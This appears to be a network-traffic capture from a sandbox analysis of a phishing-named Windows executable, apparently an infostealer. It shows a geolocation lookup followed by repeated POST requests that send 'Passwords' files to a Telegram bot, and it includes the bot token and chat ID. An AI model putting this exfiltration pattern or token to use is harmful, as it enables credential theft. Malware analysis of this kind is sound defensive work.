c3 59 b8 65 d3 83 93 b3 cb 8f ad a4 56 3c b6 f6 Data Ascii: :DugoL!g+E*/;&}L%!'$Korp{_{Q}z\|~3\nSILOrF>IdRo#T(Q(~QK.4v>}l..ugGKAPqmF_"^s-P!W[M=rCQzAYeV<
2024-12-03 14:22:48 UTC	1390	IN	Data Raw: 41 3e e2 ce 67 94 11 9f e0 1b ba 1d 59 3e c6 1d e7 bb 79 88 4d 8f 7a d8 9a 8d 28 f6 35 57 a7 e0 bb 29 e1 d2 cf eb 00 69 e6 a7 a5 e0 e3 2e 8e 7e b0 ef 19 a8 bb 65 7e db b6 7a 25 46 82 04 ab 07 9e 0f fe 35 ff 3d 7b ff 63 c8 b4 d8 a6 46 b2 c7 81 46 fe 6a da 00 f6 38 ac 41 70 cd ec 1b 1a 69 a2 f7 1d 20 40 85 d2 94 d3 49 dc 2e fc 39 60 6f ca 43 1f c8 c4 c9 bc bb 2b 77 01 3d 23 ca 52 a8 87 13 53 79 35 2e fd b0 39 a7 92 7a 5a 8e c0 b3 75 04 fe 35 5e 4e e9 fc a6 52 b2 81 6e 93 75 36 ab ce 94 54 4d a5 cc 87 23 e8 e5 0b 4e 17 d7 9c 16 cc 12 ca 5c f4 47 6e 91 0a 0f 6f d7 01 fb 25 82 b1 7c 66 c8 a0 7d 75 38 73 85 77 06 06 2c 63 7f 72 ab bd 4b d5 2a 22 9e f6 d9 63 21 88 0b c9 41 b4 9d 6c 88 f9 ec 71 a1 98 ec 2c fb 2d e1 38 d3 c3 8f 6b c4 eb 1a 17 fd 2a 35 e4 32 c7 04 Data Ascii: A>gY>yMz(5W)i.~e~z%F5={cFFj8Api @I.9`oC+w=#RSy5.9zZu5^NRnu6TM#N\Gno%\|f}u8sw,crK"c!Alq,-8k52
2024-12-03 14:22:48 UTC	1390	IN	Data Raw: d2 74 a1 c8 46 8c c5 60 e5 9a 73 e0 31 15 09 61 16 05 36 1d 92 de 99 d9 7c 61 6a ac b3 54 21 1b 23 cb de d2 d8 5b b3 f5 91 a2 ee 8a a6 be 6c f2 fc 11 a5 ad 61 2f 87 ae 37 d5 42 41 6b 33 81 3f d1 ce c1 66 04 95 04 14 8a 51 86 03 b1 0c ad aa a9 cc 3f 8b 8f 13 59 cf 27 ad 7d 87 a5 a6 41 19 be 24 ac e7 74 b2 e3 44 28 99 63 4b 33 ac 83 1b 53 f6 78 0f 7b 4e 3c af e3 f0 3f 42 40 5d 37 2b 41 5f e6 93 e7 0f 61 c9 e4 ba 66 63 4d 2d 19 23 ed 76 73 14 52 05 eb 27 84 2f bd 68 eb 07 8b 82 c1 0a 52 b0 b0 aa e8 68 f2 e3 0f ac 5f 04 1c d2 89 e0 18 18 d2 8b 28 39 c0 12 0f 24 c1 6a 13 69 39 d1 a8 b0 f3 c1 92 72 ee 86 24 37 9d f5 e5 f8 e0 a7 aa 23 5b d7 40 e3 68 76 da f2 a9 2a ee db e1 ca 2b 50 ce ea a3 2c 3a ee bd 3f 76 fd e2 03 35 16 ed 4a 9c 62 52 fd a3 be da cc 23 f3 95 Data Ascii: tF`s1a6\|ajT!#[la/7BAk3?fQ?Y'}A$tD(cK3Sx{N<?B@]7+A_afcM-#vsR'/hRh_(9$ji9r$7#[@hv*+P,:?v5JbR#
2024-12-03 14:22:48 UTC	1390	IN	Data Raw: fa 06 5e b6 e5 ad 37 79 c2 3d b8 9f 25 89 b4 c7 6e 4a 4d b8 8f a3 78 82 97 d3 f6 03 9e c9 e8 32 4c 07 7c 91 3d 1e ba b9 b5 da 38 23 27 e4 f6 cf 1f 50 4f 1a c3 a9 9c 4e f3 f5 a5 94 ba 27 d6 a4 e7 77 19 0f 92 e2 79 87 3f a5 62 0b f4 22 aa a8 df 46 f8 f3 ff 08 17 9c 2e 0c 38 32 72 f9 ea 38 e9 63 25 de 5a df a7 0a 08 4a cd 47 0b b6 a9 a2 bb a4 f9 1f 61 32 6c ef ec ab cf b2 c4 6f 85 85 e8 1c 9a 67 de 40 af 80 93 35 bd 04 78 6e 69 8f 20 6b 4d ca ec 69 02 19 16 65 b7 fb f3 84 3d e5 aa 46 ec 6c 68 ec 44 9f a4 1e f5 ea da a5 13 dd 22 87 f5 cd 39 b5 25 bb 86 2f 88 4a a3 dc 35 f1 70 9b 72 1a 30 fd 56 38 32 b9 20 32 6e 3f 41 d3 11 d4 d3 6c 93 88 19 c5 8e 64 ac 85 3d 27 8d 4e 13 33 2e d4 6c bf 59 f9 9b b0 41 98 57 d9 13 e3 14 00 d0 76 92 60 86 6e 89 6c 76 f0 de 3f e4 Data Ascii: ^7y=%nJMx2L\|=8#'PON'wy?b"F.82r8c%ZJGa2log@5xni kMie=FlhD"9%/J5pr0V82 2n?Ald='N3.lYAWv`nlv?
2024-12-03 14:22:48 UTC	1390	IN	Data Raw: 11 2e b8 d1 fe 75 76 b9 2f 7f de 0a 77 e5 fc b6 ca ee 1d eb ca f4 97 a0 da e8 48 ad 0c 1f 6e f0 a5 c9 17 ad e5 43 77 3a 32 de 23 91 b8 b2 b1 91 87 9e 4e 04 19 9b 2b c7 9f b8 8d 90 f0 d4 72 09 32 8b c8 81 cf 25 24 53 18 8f 3b f5 5a da 0e 75 38 e8 ee 58 30 29 79 9e 77 a1 bd 93 62 3e 2c 3f 74 86 0e 55 96 48 a3 70 8f 94 d3 c8 ab e8 74 ff 74 3a b4 2f fd 0f f4 60 80 4e 8d da af 8a 03 db 5a 54 f3 42 5b 0d 79 2f d6 21 db 01 c3 50 54 1b f1 21 68 91 11 1f 2a a9 74 2e 68 04 9d 12 f0 57 da 78 39 d8 44 4c 9b 11 d7 f5 27 c9 8f 55 24 ea 1b b8 40 a7 3c df e6 e3 39 23 44 36 0e bc 92 bc 7a 8a 56 b2 78 c1 e9 e1 76 b1 b1 21 5d 16 4c c2 96 ae f7 dd 09 fd f6 a4 ec 15 32 77 9d 39 67 db f2 0f 3e 24 70 8a ed 79 e3 e5 ce 00 d5 d6 21 da 2b ee 2b d8 50 33 13 e3 cd 9b 56 6b 97 b9 e4 Data Ascii: .uv/wHnCw:2#N+r2%$S;Zu8X0)ywb>,?tUHptt:/`NZTB[y/!PT!h*t.hWx9DL'U$@<9#D6zVxv!]L2w9g>$py!++P3Vk
2024-12-03 14:22:48 UTC	1390	IN	Data Raw: c0 3a a7 98 48 cf 1c 04 bf 9f 32 a7 cb f0 07 4b 0c 52 7c e1 18 51 78 b2 c2 4d 2e 27 94 f4 f1 e1 c0 80 fc 3c 54 c9 8b 09 47 d9 95 85 19 f8 80 d6 57 d5 3e c6 54 cb 2f 35 a0 8c 12 6c 63 ea 25 75 c6 30 c7 0d e3 17 e9 f7 1b ea cf 59 2a d7 b2 42 2b 61 91 43 bb de ce 88 35 24 93 b9 9b c2 f0 6f da 92 de a5 43 dd 9d 36 bc c7 9c 01 12 d4 e2 67 04 ea 51 b7 05 43 b1 1a 1f 46 7f 8d 45 4f 7b 8e 71 b6 f8 75 c7 e2 8c 5d 06 fe d9 ff 02 eb 33 ed 7f 0b e3 d2 6e d0 2d 35 bb 10 76 14 8e 35 90 0c 1d 9f c4 e5 b5 5b 0e 04 84 10 4a 8e ee 6d 12 af 9f 02 3e 05 c8 d7 b0 58 f6 67 b6 5f 65 91 e8 ee 99 ac 79 c0 db 12 38 1e e0 48 a3 0f da a8 94 47 34 ee 7b 4c e2 9a 2a d9 14 b6 5b 26 1a 49 2f 59 11 19 26 ee f1 19 63 ec ad 01 c9 1f c9 01 41 5c ca 43 af d0 e3 9e 69 53 1a 0d c1 b9 e9 f6 ad Data Ascii: :H2KR\|QxM.'<TGW>T/5lc%u0YB+aC5$oC6gQCFEO{qu]3n-5v5[Jm>Xg_ey8HG4{L[&I/Y&cA\CiS
2024-12-03 14:22:48 UTC	1390	IN	Data Raw: 9a 66 72 15 33 4b aa 72 ab b7 27 9b 2a 23 8f d5 cb 11 bf 8c 0b b9 61 94 8c 6b fa 64 ea 59 09 f7 1f 26 89 be e9 36 b2 fd b3 f9 de e1 60 78 08 02 cd ee 19 cc 18 df 93 79 6a 0a bc 16 89 bd 3e 7f ac 39 45 c6 64 4f 1f 8c 50 96 f2 8e 99 5e b8 b5 49 2e 2a ea 72 d0 80 c7 87 d7 51 25 51 c2 25 b8 28 98 d4 c1 2c 68 d7 49 a9 16 ec a1 87 62 24 ff f5 e6 f2 82 3f 51 ec 10 03 b7 05 56 b7 14 3f 56 46 ba 61 48 44 b3 dc 81 d4 21 3d ce 71 16 9c 1e f8 60 0c e0 a5 ec d8 34 55 cd b1 7d 73 16 7a 1b c8 dd 51 4d 85 78 83 61 92 55 4b 96 b9 02 27 eb 25 b5 6a cd 77 db 92 7f 59 02 b7 50 8d da 67 82 6c 64 3f b9 46 02 92 aa c7 2e 54 3e 49 92 c6 6d 6b fa 50 d6 52 3b 08 82 b2 5b 45 30 28 9b f1 47 d4 8b 00 3f a0 5b 33 d9 b0 a2 6b a3 f8 3b 85 49 e1 98 99 a0 b6 c7 38 64 99 a8 7f 2e d3 a4 50 Data Ascii: fr3Kr'#akdY&6`xyj>9EdOP^I.rQ%Q%(,hIb$?QV?VFaHD!=q`4U}szQMxaUK'%jwYPgld?F.T>ImkPR;[E0(G?[3k;I8d.P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49809	104.21.67.152	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:22:52 UTC	85	OUT	GET /xml/8.46.123.228 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-12-03 14:22:53 UTC	878	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 14:22:53 GMT Content-Type: text/xml Content-Length: 362 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 113196 Last-Modified: Mon, 02 Dec 2024 06:56:17 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yh%2BWO1PGGzVJnbD82lT57sscU0MfSphiDltIKLXnnZpnIa36EnY2gz1zJnkOyQYK5a%2FwkmGxNZS1lIIPovgXERuum4t2UEhOz%2Bz4jDhh%2B0dKUFD6nN8qCxwn4amxecuhEJpFvFjH"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec4361d4f2a4205-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1742&min_rtt=1738&rtt_var=661&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1645070&cwnd=252&unsent_bytes=0&cid=94007ec09079cfd3&ts=483&x=0"
2024-12-03 14:22:53 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 32 32 38 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.228</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49830	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:01 UTC	299	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd13868a3c5d2e Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:23:01 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 38 36 38 61 33 63 35 64 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd13868a3c5d2eContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:01 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:01 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:01 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 37 38 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":980,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235781,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49844	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:05 UTC	299	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd13bb6da2d893 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:23:05 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 62 62 36 64 61 32 64 38 39 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd13bb6da2d893Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:06 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:06 GMT Content-Type: application/json Content-Length: 545 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:06 UTC	545	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 37 38 36 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":981,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235786,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49852	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:09 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd13e4e12a7243 Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:09 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 33 65 34 65 31 32 61 37 32 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd13e4e12a7243Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:10 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:09 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:10 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 37 38 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":982,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235789,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49863	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:13 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd1412303aa220 Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:13 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 31 32 33 30 33 61 61 32 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd1412303aa220Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:13 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:13 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:13 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 38 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 37 39 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":983,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235793,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49875	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:17 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd143ddb19b669 Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:17 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 34 33 64 64 62 31 39 62 36 36 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 